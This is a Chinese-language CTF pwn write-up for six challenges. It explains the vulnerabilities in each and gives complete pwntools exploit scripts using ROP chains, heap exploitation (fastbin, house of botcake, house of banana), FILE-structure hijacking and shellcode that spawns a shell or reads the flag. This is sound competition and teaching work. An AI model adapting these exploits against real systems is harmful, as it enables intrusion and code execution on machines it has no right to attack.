Babyrop

栈溢出,先利用函数对bss段上/cin/sh异或成为/bin/sh,然后利用system执行system("/bin/sh")

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
context(os='linux', arch='i386', log_level='debug')
#r = process('./BabyRop')
r = remote('192.168.38.235', 11000)
elf = ELF('./BabyRop')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
sys_plt = elf.plt['system']
fun2 = 0x080491FD
main_addr = 0x0804926B
payload = b'A'*0x28+b'B'*0x4
payload+= p32(fun2)+p32(0x08049332)+p32(0x0804C024)+p32(1)+p32(0x080491D6)+p32(main_addr)+p32(0x0804C024)

r.sendline(payload)

r.interactive()

name

先申请一波chunk清理一下bin
利用残留的内容泄露堆地址和libc地址

构造chunka,b,c,伪造prevsize,利用off by null造成chunk overlap
然后利用fastbin attack配合在堆上伪造的size位造成对包含puts指针的chunk的overlap
修改puts指针指向setcontext+53,修改后面的chunk地址为计划填入frame的heap地址
利用SigreturnFrame生成frame填入对应的chunk
接着执行选项三进入setcontext,向fake_rsp读入shellcode最终执行orw

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import*
#r = process('./name')
r = remote('192.168.38.235',9999)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./name')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def set(size):
r.sendlineafter('5.exit\n', str(1))
r.sendlineafter('name size:\n', str(size))


def edit(idx, ct):
r.sendlineafter('5.exit\n', str(2))
r.sendlineafter('index:\n', str(idx))
r.sendafter('name:\n', ct)

def puts(idx):
r.sendlineafter('5.exit\n', str(3))
r.sendlineafter('index:\n', str(idx))

def delete(idx):
r.sendlineafter('5.exit\n', str(4))
r.sendlineafter('index:\n', str(idx))


for i in range(6):
set(0x70)
puts(0)
heap_addr = u64(r.recv(6).ljust(8,'\x00'))
print 'heap_addr ===> ', hex(heap_addr)

puts(5)
libc.address = u64(r.recv(6).ljust(8,'\x00'))-312-0x10-libc.symbols['__malloc_hook']
free_hook = libc.symbols['__free_hook']
syscall = libc.symbols['syscall']+23
print hex(libc.address)

set(0xa8)#6
set(0x58)#7
set(0xf8)#8
set(0x100)#9
delete(6)
edit(7, 'A'*0x50+p64(0x110))
delete(8)
set(0x100) #6
delete(7)
taraddr = heap_addr-0x130
fakeframe = heap_addr+0x7c0+0x10
edit(6, 'A'*0xa8+p64(0x60)+p64(taraddr))
edit(0, 'Z'*0x60+p64(0)+p64(0x61))
set(0x50)
set(0x50)
edit(8, p64(0)+p64(0x21)+p64(libc.symbols['setcontext']+53)+p64(fakeframe))


fake_rsp = free_hook&0xfffffffffffff000
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=fake_rsp
frame.rdx=0x2000
frame.rsp=fake_rsp
frame.rip=syscall

print hex(len(frame))
edit(9, str(frame))
puts(1)

prdi_ret = libc.search(asm("pop rdi\nret")).next()
prsi_ret = libc.search(asm("pop rsi\nret")).next()
prdx_ret = libc.search(asm("pop rdx\nret")).next()
prax_ret = libc.search(asm("pop rax\nret")).next()
jmp_rsp = libc.search(asm("jmp rsp")).next()
mprotect_addr = libc.sym['mprotect']

payload = p64(prdi_ret)+p64(fake_rsp)
payload += p64(prsi_ret)+p64(0x1000)
payload += p64(prdx_ret)+p64(7)
payload += p64(prax_ret)+p64(10)
payload += p64(syscall)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('flag'))
payload += asm(shellcraft.read(3,fake_rsp+0x300,0x30))
payload += asm(shellcraft.write(1,fake_rsp+0x300,0x30))
r.send(payload)

r.interactive()

nologin

直接进入admin进行栈溢出
栈上布置两段shellcode,返回地址写jmp rsp往下执行,清零rax以后再用jmp $-0x16往上跳转
布置好rdx以后直接syscall就能从更低地址处开始读入数据

控制好偏移再在第三段shellcode前面填充nop滑行,最终执行orw读出flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#r = process('./nologin')
r = remote('192.168.38.235',40001)
libc = ELF('./libc.so.6')

main_addr = 0x40106B
jmp_rsp = 0x4016fb

shell = '''
xor rax, rax
jmp $-0x16
'''

shell2='''
push 0x200
pop rdx
syscall
'''

payload = 'AA'+asm(shell2).ljust(11, 'A')+p64(jmp_rsp)+asm(shell)
r.recvuntil('input>> \n')
r.sendline('2')
r.recvuntil('>password: \n')

r.sendline(payload)
print len(asm(shell))

shell3 = '''
nop
nop
nop
nop
nop
nop
nop
push 0x67616c66
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, 4
mov rsi, rsp
push 0x50
pop rdx
xor rax, rax
syscall
push 1
pop rax
push 1
pop rdi
mov rsi, rsp
push 0x50
pop rdx
syscall
'''
pay = 'A'*0x2e+asm(shell3)
sleep(0.5)
r.send(pay)

r.interactive()

how2heap

没做出来,复现学习一下
感觉解法还是挺有意思的

题目

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t add()
{
unsigned __int64 v0; // rbx

if ( chunk_max_id > 47 )
return write(1, "no more data.\n", 0xFuLL);
++chunk_max_id;
v0 = malloc(0x14uLL);
mprotect((v0 & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
write(1, "content: ", 9uLL);
*(v0 + 16) = read(0, v0, 0x10uLL); // num
*(&ptr + chunk_max_id) = v0; // chunk_ptr
return write(1, "create successfully.\n", 0x15uLL);
}

最多申请49个(下标48)
申请的每个chunk大小固定为0x14
可读入字节0x10
第0x11个字节处
每次申请全局变量num++
修改heap为rwx

get

输出内容
索引的时候使用了一个函数用来计算,暂记为wired_func

del

删除
同样使用了wired_func来对输入的数字进行一个转换
然后free指针,全局变量num—
最后会将被删除指针后面的指针向前移动一位,直到用下标47的指针覆盖下标46的指针后退出

也就是说当下标47有指针时,对46及以前的指针进行del操作,46和47处会有两个相同的指针

wired_func

分析一下这个wired function。正常来说读取一个数字比较常见是atoi转换了,这里自己写了一个来实现,八成是有点问题,当时也是觉得有点问题给这个地方命名wired。结果最后凌晨一点多重新开始看这题最后也没看出来,和mark一起都在研究怎么打fastbin。。。还是太菜了呃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 sub_4008F0()
{
char *v0; // rbx
int v1; // edx
__int64 result; // rax
char vars0; // [rsp+0h] [rbp+0h] BYREF
char vars1; // [rsp+1h] [rbp+1h]
char varsA[14]; // [rsp+Ah] [rbp+Ah] BYREF
unsigned __int64 vars18; // [rsp+18h] [rbp+18h]

vars18 = __readfsqword(0x28u);
v0 = &vars0;
while ( 1 )
{
read(0, v0, 1uLL);
if ( *v0 == 10 )
break;
if ( varsA == ++v0 )
{
v0 = varsA;
break;
}
}
*v0 = 0;
v1 = vars0;
if ( !vars0 )
return 0LL;
if ( (vars0 - 48) > 9u )
{
LABEL_11:
write(1, "Invalid input.\n", 0xFuLL);
result = 0xFFFFFFFFLL;
}
else
{
LODWORD(result) = 0;
while ( 1 )
{
result = (v1 + 10 * result - 48);
v1 = vars1;
if ( !vars1 )
break;
if ( (vars1 - 48) > 9u )
goto LABEL_11;
}
}
return result;
}
1
2
3
4
.text:0000000000400964                 lea     eax, [rax+rax*4]
.text:0000000000400967 lea eax, [rdx+rax*2-30h]

#result = (v1 + 10 * result - 48);

其实逻辑也很简单,对输入的字符逐位计算进行加和,最终返回结果
由于从汇编可以看到对result变量的操作只使用了eax,所以是一个4字节有符号数,存在正溢出,当累加超过2147483647时,就会溢出成为-2147483648。继续累加到0xffffffff时,即为-1。

做法1

首先利用del中移位的不严谨造成存在两个相同指针,构造double free
然后将fd指向bss段上fake chunk处

接下来利用del函数中将输入转换为数字时发生的正溢出对上方的NULL进行free两次,造成记录chunk下标的数字前移,用来充当fake size。同时原本记录chunk下标的地方因为被移位一次之后为0,再移一次自减1,变成0xffffffff

然后利用fastbin attack控制记录chunk下标的数值,控制偏移,让下一次申请时让指针被写入malloc的got表处,并写入第一段shellcode。再一次申请时覆写mprotect的got表,并写入对应的第二段shellcode。这一次的申请会在malloc的时候执行第一段shellcode,但由于最后写了ret指令,不会造成程序的错乱。
最后再申请一次,就会连续执行两段shellcode了,看到了一种精妙的构造方法最终执行one_gadget。简单来说就是第一次返回时为了保持程序正常,第一次执行shellcode需要返回一个堆地址,这里选择让rax指向bss段的地址,然后ret来保持程序继续执行。第二次执行shellcode时r11指向了libc内地址,通过减法让r11指向one_gadget,并且清零rax从而满足one_gadget的条件,并call r11。最终再次申请执行one_gadget

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./how2heap')
elf = ELF('./how2heap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(ct):
r.sendlineafter('> ', str(1))
r.sendafter('content: ', ct)

def get(idx):
r.sendlineafter('> ', str(2))
r.sendlineafter('id: ', str(idx))

def delete(idx):
r.sendlineafter('> ', str(3))
r.sendlineafter('id: ', str(idx))

for i in range(49):
add('A'*8)

for i in range(15):
delete(0)

delete(33)
get(32)
heap_addr = u64(r.recvuntil('\x00')[:-1].ljust(8,'\x00'))
print hex(heap_addr)
delete(0)
delete(31)

add(p64(0x602088))
add('B')
add('B')

delete(0xffffffff-0xb)
delete(0xffffffff-0xb)

shell1='''
push 0x6020c0
pop rax
ret
nop
'''
add(asm(shell1)+p32(0xffffffff-0xe))
#gdb.attach(r, 'b *0x4009D8')

shell2='''
push 0x1324ba
pop rbx
// r11: a libc address
// rbx: the offset to one gadget from r11
sub r11, rbx
// one gadget condition
xor rax, rax
call r11
'''
add(asm(shell2))
r.recv()
r.sendline('1')
r.interactive()

做法2

学长的做法,fastbin attack打chunkid,写入伪造的id。然后负索引,free空指针,fake id前移。再次add,chunk指针写入got表,最终构造shellcode从而getshell。

总结

总的来说这一题的核心思想有三点:

  1. 函数正溢出
  2. 利用正溢,负索引free空指针,造成记录chunk下标的变量被前移
  3. 覆写got表执行shellcode

dangerous

题目

做不出来的题
程序本身比较简单,有一次uaf,输入的内容过滤了字符7f 7e 55 56,开沙箱禁用execve

做法1(打stdout)

前期考虑house of botcake控制tcache struct,通过partial overwrite将chunk指向fd为main_arena+96地址处的chunk,申请一次,libc地址就能出现在tcache链表头部,然后再次partial overwrite就能完成任意地址申请。(存在1/16爆破)

之后需要考虑如何绕过沙箱又不输入禁用字符,也就不存在改freehook为setcontext这种方法了。

这里要感谢大师傅cnitlrt,要到了师傅的exp学习了一下,师傅太强了

第一步控制_IO_file_jumps,partial overwrite修改_IO_overflowgets。执行puts时,会执行vtable中的_IO_overflow来刷新缓冲区,此时rdi指向stdout,从而控制了stdout结构体及其后的内容。

第二步控制stdout结构体,控制其vtable指向后面伪造的vtable,并在其后布置用来栈迁移rop的部分,最后伪造vtable
程序执行到puts时会执行fake vtable中的_IO_sputn,而此时相应偏移处被我们修改为一处gadget,实际执行了

1
2
3
4
5
6
0x7ffff7f1ad8a <svcudp_reply+26>:	mov    rbp,QWORD PTR [rdi+0x48]
0x7ffff7f1ad8e <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
0x7ffff7f1ad92 <svcudp_reply+34>: lea r13,[rbp+0x10]
0x7ffff7f1ad96 <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
0x7ffff7f1ad9d <svcudp_reply+45>: mov rdi,r13
0x7ffff7f1ada0 <svcudp_reply+48>: call QWORD PTR [rax+0x28]

此时

1
2
3
4
5
6
7
8
9
10
11
12
RDI  0x7ffff7faf6a0 (_IO_2_1_stdout_) ◂— 0xfbad1887

pwndbg> x/gx $rdi+0x48
0x7ffff7faf6e8 <_IO_2_1_stdout_+72>: 0x00007ffff7faf7a0 #rbp
pwndbg> x/gx 0x00007ffff7faf7a0+0x18
0x7ffff7faf7b8 <__elf_set___libc_subfreeres_element_free_mem__>: 0x00007ffff7faf7a0 #rax

pwndbg> x/gx 0x00007ffff7faf7a0+0x28
0x7ffff7faf7c8 <__elf_set___libc_subfreeres_element_free_mem__>: 0x00007ffff7e1da48 #rax+0x28
pwndbg> x/2i 0x00007ffff7e1da48
0x7ffff7e1da48 <__mpn_mul_n+168>: leave
0x7ffff7e1da49 <__mpn_mul_n+169>: ret

0x00007ffff7faf7a0正是我们布置rop的地方
所以这里会根据rdi分别对rbprax赋值,然后call指令将执行leave;ret完成栈迁移并开始rop

rop部分
因为前面gadget的使用,在当前栈中有一处指向leave;ret的地址,所以首先用一些pop指令把其pop掉。之后就可以进行rop完成orw了
(构造过程一些无关地址原值填回就好)

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./dangerous')
elf = ELF('./dangerous')
libc = ELF('./libc.so.6')

def add(sz, ct):
r.sendlineafter('Your choice >> ', str(1))
r.sendlineafter('Well,please input your size:\n', str(sz))
r.sendafter('Please input your content:\n', ct)

def delete(idx):
r.sendlineafter('Your choice >> ', str(2))
r.sendlineafter('Please input the index you want to delete:\n', str(idx))

def show(idx):
r.sendlineafter('Your choice >> ', str(3))
r.sendlineafter('Please input the index you want to see:\n', str(idx))


def magic(idx):
r.sendlineafter('Your choice >> ', str(666))
r.sendlineafter('Please input the index:\n', str(idx))

for i in range(7):
add(0x60, 'A'*0xb0)
for i in range(7):
delete(i)

for i in range(7):
add(0xb0, 'A'*0xb0)
for i in range(7):
delete(i)

for i in range(9):
add(0xa0, 'A'*0xa0)

for i in range(7):
delete(8-i)


delete(0)
magic(1)
for i in range(8):
add(0xa0, 'B'*0xa0)
show(1)

r.recvuntil('content:\n')
libc.address = u64(r.recv(6).ljust(8,b'\x00'))-96-0x10-libc.symbols['__malloc_hook']
free_hook = libc.symbols['__free_hook']
setcontext = libc.symbols['setcontext']+61
syscall = libc.symbols['syscall']

delete(0)
add(0xb0, 'Z'*0xb0)

for i in range(6):
delete(2+i)

delete(8)
add(0xa0, b'A')
delete(1)
add(0x100, b'A'*0xa0+p64(0xb0)+p64(0xb1)+b'\xa0\x30')


add(0xa0, b'A')
add(0xa0, p64(0)+p64(0x71)+p64(0)+b'\xb0\x30')
add(0x60, p64(0)*6+b'\x00\x3c')
add(0xb0, 'A')
delete(5)


filejumps = libc.symbols['_IO_file_jumps']
gets = libc.symbols['gets']
add(0x60, p64(0)*6+p32(filejumps&0xffffffff))


add(0xb0, p64(0)*3+p32(gets&0xffffffff))
magic_gadgets = 0x0000000000157d8a+libc.address
# mov rbp, qword ptr [rdi + 0x48];
# mov rax, qword ptr [rbp + 0x18];
# lea r13, [rbp + 0x10];
# mov dword ptr [rbp + 0x10], 0;
# mov rdi, r13;
# call qword ptr [rax + 0x28];

poprdi = 0x0000000000026b72+libc.address
poprsi = 0x0000000000027529 + libc.address
ret_addr = 0x0000000000058811 + libc.address
poprsp = 0x0000000000032b5a+libc.address
poprax = 0x000000000004a550+libc.address
syscall = 0x0000000000066229+libc.address
leaver = libc.address + 0x000000000005aa48
pop5r = 0x00000000000440d7+libc.address
pop2r = 0x000000000011c371+libc.address

ROP = b'flag\x00\x00\x00\x00'
ROP += p64(pop5r)
ROP += p64(0)
ROP += p64(libc.address + 0x1ec7a0)
ROP += p64(0)
ROP += p64(leaver)
ROP += p64(0)
ROP += p64(pop2r)#pop rdx;pop r12;ret
ROP += p64(0x100)
ROP += p64(libc.address + 0x1ec7a0)
ROP += p64(poprdi) + p64(0x1ec7a0+libc.address)
ROP += p64(poprsi) + p64(0)
ROP += p64(poprax) + p64(0x2)
ROP += p64(syscall)
ROP += p64(poprdi) + p64(3)
ROP += p64(poprsi) + p64(libc.address + 0x1ec7a0)
ROP += p64(poprax)
ROP += p64(0)
ROP += p64(syscall)
ROP += p64(poprdi)
ROP += p64(0x1)
ROP += p64(poprax)
ROP += p64(1)
ROP += p64(syscall)

rop = p64(0xfbad1887)
rop = rop.ljust(0x18,b"\x00")
rop += p64(libc.address + 0x1ec7a0)
rop += p64(leaver)
rop = rop.ljust(0x48,b"\x00")
rop += p64(libc.address + 0x1ec7a0)
payload = p64(0)*3
payload += p64(0x1eb980+libc.address)
payload += p64(1)
payload += p64(0xffffffffffffffff)
payload += p64(0x0000000000000000)
payload += p64(0x1ee4c0+libc.address)
payload += p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(0x1eb880+libc.address)
payload += p64(0)*3+p64(0x00000000ffffffff)
payload += p64(0)*2
payload += p64(libc.address+0x1ec8a0)
payload += p64(0x1ec5c0+libc.address)
payload += p64(0x1ec6a0+libc.address)
payload += p64(0x1eb980+libc.address)
payload += p64(0x27400+libc.address)
payload += ROP
payload += p64(0)*5
payload += p64(0)*5
payload += p64(magic_gadgets)
sleep(0.1)
success("!!!!!!!!!!!!!!!!!!!!!!!!!!")
r.sendline(rop + payload)

r.interactive()

做法2(打栈)

官方wp做法
前期方法差不多,劫持tcache struct后造出能够多次申请任意地址的chunk,首先利用stdout泄露基址,然后把程序唯一的一次show留给environ泄露栈地址。

程序add函数如下

可以看到其实是先read了,然后再逐字节检查,同时使用的idx变量位于栈上。所以考虑的是向栈上写入数据覆盖掉idx使检查失效(修改idx,实际上检查到别的chunk去了),然后rop执行orw。刚好add函数中没有canary,方便了利用。

(这里我为了节省空间就直接用sendfile读了)

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./dangerous')
elf = ELF('./dangerous')
libc = ELF('./libc.so.6')

def add(sz, ct):
r.sendlineafter('Your choice >> ', str(1))
r.sendlineafter('Well,please input your size:', str(sz))
r.sendafter('Please input your content:', ct)

def delete(idx):
r.sendlineafter('Your choice >> ', str(2))
r.sendlineafter('Please input the index you want to delete:', str(idx))

def show(idx):
r.sendlineafter('Your choice >> ', str(3))
r.sendlineafter('Please input the index you want to see:', str(idx))


def magic(idx):
r.sendlineafter('Your choice >> ', str(666))
r.sendlineafter('Please input the index:', str(idx))

for i in range(7):
add(0x60, 'A'*0xb0)
for i in range(7):
delete(i)

for i in range(7):
add(0xb0, 'A'*0xb0)
for i in range(7):
delete(i)

for i in range(9):
add(0xa0, 'A'*0xa0)

for i in range(7):
delete(8-i)


delete(0)
magic(1)
for i in range(8):
add(0xa0, 'B'*0xa0)

delete(0)
add(0xb0, 'Z'*0xb0)

for i in range(6):
delete(2+i)

delete(8)
add(0xa0, b'A')
delete(1)
add(0x100, b'A'*0xa0+p64(0xb0)+p64(0xb1)+b'\xa0\x30')


add(0xa0, b'A')
add(0xa0, p64(0)+p64(0x71)+p64(0)+b'\xb0\x30')
add(0x60, p64(0)*6+b'\x00\x3c')
add(0xb0, 'A')
delete(5)

add(0x60, p64(0)*6+b'\xa0\xf6')
add(0xb0, p64(0xfbad1800)+p64(0)*3+b'\x00')
libc.address = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x1eb980
environ = libc.symbols['environ']
print (hex(libc.address))

delete(0)
delete(5)

add(0x60, p64(0)*6+b'\x00\x3c')
add(0xb0, 'A'*0xb0)
delete(0)
add(0x60, p64(0)*6+p32(environ&0xffffffff))
add(0xb0, b'\x88')
show(8)
stack = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x148

delete(0)
delete(1)
add(0x60, p64(0)*6+p32(stack&0xffffffff))

prdi_r = libc.address+0x0000000000026b72
prsi_r = libc.address+0x0000000000027529
prdx_r12_r = libc.address+0x000000000011c371
prax_r = libc.address+0x000000000004a550
prcx_r = libc.address+0x000000000009f822
openA = libc.symbols['open']
sendfile = libc.symbols['sendfile']

rop = p64(prdi_r)+p64(stack+0x20)
rop+= p64(prsi_r)+p64(0)
rop+= p64(openA)
rop+= p64(prdi_r)+p64(1)
rop+= p64(prsi_r)+p64(3)
rop+= p64(prdx_r12_r)+p64(0)+p64(0)
rop+= p64(prcx_r)+p64(0x100)
rop+= p64(sendfile)
add(0xb0, p32(0)+p32(5)+p64(0)*3+b'flag\x00\x00\x00\x00'+rop)

r.interactive()

roco

看不懂的又一题

自制了一套堆管理方式
利用堆管理中切割时的不严谨最终劫持_rtld_globalsetcontextorw读出flag

题目

catch

最多拿5个pet

1.miao {
size/hp = 0x108
attack = 16
height = 0x40000000
weight = 1120403456
}
2.fire {
size/hp = 0xB8;
attack = 32;
height = 1071225242;
weight = 1119158272;
}
3.shuilanlan{
size/hp = 0x88;
attack = 48;
height = 1070386381;
weight = 1118502912;
}
4.babypet{
自定义size(0~0x50)
size/hp
atttack=0
height = 1069547520;
weight = 1108266189;
}

申请0x10大小空间{
height|size|weight|attack
(一个4字节)
}
再申请一个size大小空间作为information,read读入

一个pet结构体如下

1
2
3
4
5
6
typedef struct{
float height;
int hp;
float weight;
int attack;
}pet;

release

释放两个chunk并清零

change

重新输入information,无溢出

自制堆管理解解析

一个chunk的结构如下:

1
2
|---use(4bytes)---|---size(4bytes)----|
|----fd(8bytes)---|----bk(8bytes)-----|

1
2
3
4
5
6
struct chunk{
uint32_t prev_size;
uint32_t size;
struct chunk *fd;
struct chunk *bk;
};

前四字节记为use位,有三个功能:

  1. 最低一个字节为1时表示当前chunk处于use状态
  2. 最低一个字节为2时表示上一个chunk处于use状态
  3. 当上一个chunk处于super large bin中时,该位置记录上一个chunk的大小,即prevsize

第二个四字节数据记录当前chunk的size

空闲堆块由三种bin进行管理(乱命的名):
small bin:

  • size<=0xf8进入
  • 链表方式实现的队列,先进先出,记录头尾节点
  • 每8字节为一个idx

large bin:

  • 0xf8<size<=0x1f8进入
  • 只记录头节点,即第一个进入bin中的chunk
  • bin内部使用循环链表管理,头节点的bk指向最新插入的chunk,最新插入的chunk的fd指回头节点。每次插入都利用记录的头节点索引到最后一个chunk,然后将插入的chunk链入链表中
  • 当large bin中只有一个chunk时,其fd和bk指向自己
  • 每8字节为一个idx

super large bin:

  • size>0x1f8进入
  • 记录了一个头节点,内部循环链表进行管理
  • 头节点已经记录了一个空的节点,相当于bin中已经有了一个假chunk,后续的插入直接进行链接
  • 链入新chunk的方式与large bin相同
  • 当申请chunk找到super large bin时可以发生切割,类unsorted bin
  • 当发现物理相邻的上一个chunk处于空闲时可以发生合并

safe_free

开头有两个check

  1. 通过chunk的insue位验证当前chunk是否处于使用中,否则报错already freeexit
  2. 判断chunk的size是否大于最小size0x18,否则报错size errorexit

然后清空数据区域,更新use位
size<0xf8放进small bin
size>0xf8 && size<0x1f8放进large bin
size>0x1f8放进super large bin。放进super large bin时还会索引到物理相邻的下一个chunk更新其use位和prevsize位,指示上一个chunk处于空闲并记录大小

vul_alloc

size>=0且size<=rest_size时,正常进入
首先对size做一个对齐操作,小于0x10的记作0x18,否则向上对齐8字节作为chunk size
然后进入以下分支:
chunk size>0xf8且chunk size<=0x1f8

  • 如果对应idx的large bin中有chunk,则取出
  • 检查chunk地址和其chunk头的合法性
  • 如果该chunk的fd指向自己,表明其为最后一块large bin,检查bk是否也指向自己
  • 确认取出chunk

chunk size<0xf8

  • 如果对应idx的small bin中有chunk,取出
  • 检查chunk地址和chunk头合法性
  • 确认取出,更新链表

chunk size>0x1f8 或 在smal bin和large bin中找不到合适的chunk
进入super large bin进行查找

  • 首先一个for循环遍历整个super large bin,如果发现size恰好合适的直接取出,更新chunk头信息,更新下一个chunk的prevsize
  • 如果找了一圈回到原点(循环链表),说明都没有恰好合适的chunk,开始考虑切割大chunk
  • 重新对整个super large bin进行遍历,从头结点开始以fd索引,直到找到一个更大的chunk,其size减去申请的size大于等于最小size0x18。取出该chunk
  • 检查chunk地址和chunk头
  • 检查链表的局部完整性
  • 开始切割,更新切割后的chunk头信息
  • 更新原物理相邻的下一个chunk的prevsize
  • 更新循环链表,卸下原本的chunk,链入切割后剩下的chunk
  • 更新取出chunk的size位

到这里如果确认能够取出chunk,在清空数据区和更新chunk的inuse位后返回指针结束

如果super large bin都无法满足
进行类似top chunk的分配

  • 从准备好的内存中分配相应大小的chunk
  • 更新rest size
  • 设置chunk头
  • 返回指针

漏洞

漏洞出现在对进入super large bin进行切割的判断语句的不严谨

chunk size数据类型为unsigned int,其他参与计算的为int。当计算式中出现unsigned int,最终比较的结果就会按照无符号数进行运算
所以当前面chunk size > i->size时,左边会变成一个很大的数,从而通过验证进入切割,最终造成chunk的重叠

做法

菜鸡如我只能理解一下出题人是怎么做的了

打怪

整个程序能够出现super large bin的只有存放boss信息的chunk,打掉才可能触发漏洞

泄露基址

打完怪,其chunk被放进了super large bin,然后经过不该发生的切割,super large bin被切割后的fd和bk落到了正常chunk的数据区域,然后利用show即可泄露基址
不过这里的基址分别落到两个四字节数据上,前一个被以%f单精度形式解析打印,后一个以%d整形打印。接收数据后拼接一下可以得到基址

super large bin attack

刚才切割还造成了0x7fff落到了指定informationchunk的size上,也就造成了堆溢出
利用溢出修复刚才切割破坏的chunk结构,改切割剩下的、位于super large bin中的chunk的size为0x1000,改其fd指向_rtld_global-0x10,再溢出后面一个0xc0大小的chunk,改size为0x200

接下来删除size被改为0x200的chunk,程序会把它链入super large bin中
注意到此时super large bin中只有刚才切割剩下的chunk,其fd被修改指向_rtld_global-0x10。链入循环链表的过程中,索引到该chunk,然后执行

1
last_super_large->fd->bk = chunk_ptr;

这一步也就把大小为0x200的chunk的地址写入了_rtld_global结构体指针处

house of banana

上一步已经劫持了_rtld_global指针
应用house of banana,就不细说了,因为我还没完全搞明白。。

总之最终控制函数指针,利用两条指令,上一条ret返回刚好布置了rdx
下一条使用setcontext读入并rop最后orw读出flag

详细exp请看官方wp